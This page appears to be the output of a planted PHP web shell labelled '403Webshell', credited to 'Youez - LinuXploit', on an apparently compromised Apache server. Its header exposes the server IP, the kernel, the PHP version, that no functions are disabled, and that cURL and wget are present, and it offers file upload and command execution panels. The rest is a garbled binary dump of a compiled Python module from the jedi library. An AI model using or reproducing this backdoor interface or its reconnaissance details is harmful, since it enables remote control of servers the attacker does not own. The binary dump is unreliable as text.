403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/inference/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/inference/__pycache__/sys_path.cpython-311.pyc
�

p�{c�'���ddlZddlZddlmZddlmZddlmZddlm	Z	ddl
mZmZddl
mZddlmZdd	lmZdd
lmZdZdefd
�Zd�Zd�Zeg���d���Zd�Zd�Zdefd�Zdefd�Zd�Zd�ZdS)�N)�Path)�all_suffixes)�inference_state_method_cache)�ContextualizedNode)�	is_string�get_str_or_none)�get_cached_code_lines)�FileIO)�settings)�debug�
�str_pathc���t|��}|���r|S|���}|�dS|j}|�|�����S�N)r�is_absolute�
py__file__�parent�joinpath�absolute)�module_contextr�path�module_path�base_dirs     �9/usr/lib/python3/dist-packages/jedi/inference/sys_path.py�	_abs_pathrsl����>�>�D��������� �+�+�-�-�K����t��!�H����T�"�"�+�+�-�-�-�c#��K�t|jddd�|jddd���D�]8\}}	|dvsJ�|jdvrt|j��dksJ�|j}|djdkr|djdksJ�|d}|jdd	kr|jdjd
ksJ�n#t
$rY��wxYwt
|�|��|��}|����	|��D]P}|���D]9}t|��r(t||�����}	|	�|	V��:�Q��:dS)a�
    Extracts the assigned strings from an assignment that looks as follows::

        sys.path[0:0] = ['module/path', 'another/module/path']

    This function is in general pretty tolerant (and therefore 'buggy').
    However, it's not a big issue usually to add more paths to Jedi's sys_path,
    because it will only affect Jedi in very random situations and by adding
    more paths than necessary, it usually benefits the general user.
    N��)�=z+=��power�	atom_exprr�name�sys�.r)
�zip�children�type�len�value�AssertionErrorr�create_context�infer�iteraterr�get_safe_value)
r�	expr_stmt�assignee�operator�c�trailer�cn�
lazy_valuer+�abs_paths
          r�_paths_from_assignmentr9 s�����"�)�"4�S�S�q�S�"9�9�;M�a�d�QR�d�;S�T�T�'�'���(�	��{�*�*�*�*��=�$:�:�:��H�%�&�&��*�*�*�*��!�A��Q�4�9��&�&�1�Q�4�:��+>�+>�+>�+>���d�G��#�A�&�#�-�-�'�2B�1�2E�2K�v�2U�2U�2U�2U�

���	�	�	��H�	���� �� =� =�i� H� H�)�
T�
T���(�(�*�*�,�,�R�0�0�	'�	'�J�#�)�)�+�+�
'�
'���U�#�#�'�(���9M�9M�9O�9O�P�P�H��+�&�����	
'�	'�1'�'s�BB<�<
C	�C	c#��K�|jdkrE|jddkr4|jdkr)|jddkrt|j��dksdS|jdj}|dvrdS|jd}|d	kr#t|j��d
vr
|jd}|�|���|��D]*}t
|��}|��t||��}|�|V��+dS)zE extract the path from either "sys.path.append" or "sys.path.insert" r5rr&�(�Nr)�insert�appendr=)r<�r)r)r(r*r+r-�
infer_noderr)r�trailer1�trailer2r$�argr+�pr8s        r�_paths_from_list_modificationsrEKs"����
�M�Y�&�&�8�+<�Q�+?�3�+F�+F��
��*�*�x�/@��/C�s�/J�/J��H�%�&�&�!�+�+�����Q��%�D��'�'�'���
�
�A�
�C��x���C���-�-��7�7��l�1�o���.�.�s�3�3�>�>�s�C�C�����E�"�"���9���^�Q�/�/�����N�N�N��
�r)�defaultc	��d�}|j�gSg}	|j���d}||��D]�\}}|j}t|j��dkr.|�t
|g|jdd��R����R|�.|jdkr#|�t||������n#t$rYnwxYw|S)z6
    Detect sys.path modifications within module.
    c3�K�|D]�}|jj}|�r|jdvri|j}|djdkrQ|djdkr@|djdkr/|djd}|jdkr|jdkr||fV���dS)Nr!rr$r%rr5r)rr)r(r+)�namesr$r"r4�ns     r�get_sys_path_powersz9check_sys_path_modifications.<locals>.get_sys_path_powersis������	*�	*�D��K�&�E�� �U�Z�3I�%I�%I��N���Q�4�9��&�&�1�Q�4�:��+>�+>��a�D�I��2�2��!��
�a�(�A��v��'�'�A�G�v�,=�,=�"�E�k�)�)�)��	*�	*rNrr?rr1)
�	tree_node�get_used_namesrr*r(�extendrEr)r9�KeyError)rrK�added�possible_namesr$r"r1s       r�check_sys_path_modificationsrRds'��
	*�	*�	*���'��	��E�P�'�1�@�@�B�B�6�J��/�.�~�>�>�		P�		P�K�D�%���I��5�>�"�"�a�'�'����2�&��).���!��)<��������
�&�9�>�[�+H�+H����3�N�I�N�N�O�O�O��		P���
�
�
���
�����Ls�B>�>
C�
Cc���t��}t|��D]D}t||��D]1}|�|��t	|��t
krn�2�E|Sr)�set�_get_buildout_script_paths�_get_paths_from_buildout_script�addr*�_BUILDOUT_PATH_INSERTION_LIMIT)�inference_state�script_path�buildout_script_paths�buildout_script_pathrs     r�discover_buildout_pathsr]�s{���E�E�� :�;� G� G����3�O�EY�Z�Z�	�	�D�!�%�%�d�+�+�+��(�)�)�-K�K�K���L��!� rc
#�vK�tt|����}	|�|dtj���}n&#t
$rt
jd|��YdSwxYwddlm	}||||dt|j|��������}t|��Ed{V��dS)NT)�file_io�cache�
cache_pathz(Error trying to read buildout_script: %sr)�ModuleValue)r_�string_names�
code_lines)r
�str�parser�cache_directory�IOErrorr�warning�jedi.inference.valuerbr	�grammar�
as_contextrR)rYr\r_�module_noderbrs      rrVrV�s������S�-�.�.�/�/�G��%�+�+����/�,�
�
����
����
�
�@�BV�W�W�W��������1�0�0�0�0�0� �[�����(��)@�BV�W�W�	���
�j�l�l��,�N�;�;�;�;�;�;�;�;�;�;�;s�"A�A&�%A&rc��|jD]>}	|�|�����r|cS�/#t$rY�;wxYwdSr)�parentsr�is_file�OSError)r�filenamers   r�_get_parent_dir_with_filers�sk���,����	����x�(�(�0�0�2�2�
��
�
�
�
���	�	�	��H�	�����4s�(7�
A�A�search_pathc#�K�t|d��}|sdS|�d��}|���sdStj|��D]�}	|�|��}t|d��5}|���}|�d��rd|vr|V�ddd��n#1swxYwY�r#ttf$r+}tjt|����Yd}~��d}~wwxYwdS)z�
    if there is a 'buildout.cfg' file in one of the parent directories of the
    given module it will return a list of all files in the buildout bin
    directory that look like python files.

    :param search_path: absolute path to the module.
    zbuildout.cfgN�bin�rz#!�python)
rsr�exists�os�listdir�open�readline�
startswith�UnicodeDecodeErrorrhrrire)rt�project_root�bin_pathrr�filepath�f�	firstline�es        rrUrU�sk����-�[�.�I�I�L������$�$�U�+�+�H��?�?�������J�x�(�(����
	��(�(��2�2�H��h��$�$�
#���J�J�L�L�	��'�'��-�-�#�(�i�2G�2G�"�N�N�N�
#�
#�
#�
#�
#�
#�
#�
#�
#�
#�
#����
#�
#�
#�
#���#�G�,�	�	�	�
�M�#�a�&�&�!�!�!��H�H�H�H�����		�����s<�%C�>2B<�0C�<C	�C�C	�C�D�!C?�?Dc�~�t��dgzD])}|j|kr|�|j��}n�*|S)Nz.pyi)r�suffix�	with_name�stem)rr�s  r�remove_python_path_suffixr��sM���.�.�F�8�+�����;�&� � ��>�>�$�)�,�,�D��E�!��Krc����t�����j�d��rdS�jdk}|r�j���fd�}t	|����}|sdSt|d����d|fS)aK
    Returns the dotted path inside a sys.path as a list of names. e.g.

    >>> transform_path_to_dotted([str(Path("/foo").absolute())], Path('/foo/bar/baz.py').absolute())
    (('bar', 'baz'), False)

    Returns (None, False) if the path doesn't really resolve to anything.
    The second return part is if it is a package.
    r&)NF�__init__c3���K��D]�}t����|��r�t���t|��d�}|�tjj��s|�d��r
|dd�}|rQ|�tjj��}t|��sdStd�|D����V���dS)N�/rc3�BK�|]}tjdd|��V��dS)z-stubs$�N)�re�sub)�.0�ss  r�	<genexpr>zMtransform_path_to_dotted.<locals>.iter_potential_solutions.<locals>.<genexpr>s0����I�I�a���z�2�q� 9� 9�I�I�I�I�I�Ir)	rer~r*rzr�sep�split�all�tuple)rD�restr�r�sys_paths   ��r�iter_potential_solutionsz:transform_path_to_dotted.<locals>.iter_potential_solutions�s�������	J�	J�A��;���*�*�1�-�-�
J��;�'�'��A�����0���?�?�2�7�;�/�/�$�4�?�?�3�3G�3G�$�����8�D��	J� �J�J�r�w�{�3�3�E��u�:�:����� �I�I�5�I�I�I�I�I�I�I�I��%	J�	Jrc� �t|��Sr)r*)rDs r�<lambda>z*transform_path_to_dotted.<locals>.<lambda>s��S��V�V�r)�keyr)r�r$r~rr��sorted)r�r�
is_packager��potential_solutionss``   r�transform_path_to_dottedr��s�����,�K�8�8�K���"�"�3�'�'���{��!�Z�/�J��)�!�(��J�J�J�J�J�J�* � 8� 8� :� :�;�;�����{��%�+;�+;�<�<�<�Q�?��K�Kr) rzr��pathlibr�importlib.machineryr�jedi.inference.cacher�jedi.inference.base_valuer�jedi.inference.helpersrr�jedi.parser_utilsr	�jedi.file_ior
�jedirrrXrerr9rErRr]rVrsrUr�r��rr�<module>r�s���	�	�	�	�	�	�	�	�������,�,�,�,�,�,�=�=�=�=�=�=�8�8�8�8�8�8�=�=�=�=�=�=�=�=�3�3�3�3�3�3�������������������!#��.��.�.�.�.�('�('�('�V���2��b�)�)�)�"�"�*�)�"�J	!�	!�	!�<�<�<�,�D������D�����:���5L�5L�5L�5L�5Lr

Youez - 2016 - github.com/yon3zu
LinuXploit